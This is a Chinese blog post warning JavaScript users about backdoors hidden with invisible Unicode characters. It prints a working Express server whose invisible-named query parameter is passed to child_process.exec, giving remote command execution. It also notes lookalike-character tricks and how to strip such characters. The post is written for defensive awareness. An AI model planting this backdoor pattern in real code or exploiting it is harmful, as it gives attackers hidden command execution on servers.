简单的开源js代码居然暗藏后门
前言
大家好,我是testerzhang,这次分享一些安全知识,请使用js的童鞋更需要警惕。
一.利用方式
可能平时大家都会下载js开源脚本,当你以为你读懂代码了,没啥问题。殊不知一山还有一山高,居然有后门。
就是利用了不可见字符
来实现恶意操作。
二. 演示
我们先来看这个js脚本内容
testerzhang >cat 1.js
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 baidu.com',
'curl -s http://qq.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(38080);
是不是一眼看过去,没啥问题,启动了服务,对外提供了一个/network_health
接口
现出原形,显示不可见字符
如果你是在linux系统可以直接使用cat -A 脚本名
模拟攻击
为了模拟,我们这里touch 1个temp.txt文件
是不是可以看到原本目录下面没有文件,怎么突然就多了一个?可怕吧。
延伸
如果上面的touch命令换成rm
删除命令,你说会发生什么事情!
或者命令变成下载一个恶意脚本,然后执行这个木马文件,又会怎样!
其他不可见字符
有时候你可以看到这个语句肉眼看也是没问题的
if(environmentǃ=ENV_PROD){
有时候使用的“ǃ”
字符不是感叹号,而是ALVEOLAR CLICK
字符。
进一步说明
在 JavaScript 里面,几乎任何非关键字的Unicode 符号都可以用来做变量名。而\u3164
也是一个 Unicode 字符,所以它显然也可以当做变量名。
那问题来了,怎么去掉不可见字符呢?
去掉不可见字符
当我们进行上面的操作后,这时候可以看到新js文件是没有不可见字符的。
运行新脚本,再次尝试,不能创建txt文件了。
文末
本文主要是提醒大家使用js的时候需要额外小心,不要以为拿了现成js就没事,要注意这种隐秘的后门。
testerzhang
十年测试生涯,爱分享技术。头条号:testerzhang
125篇原创内容
公众号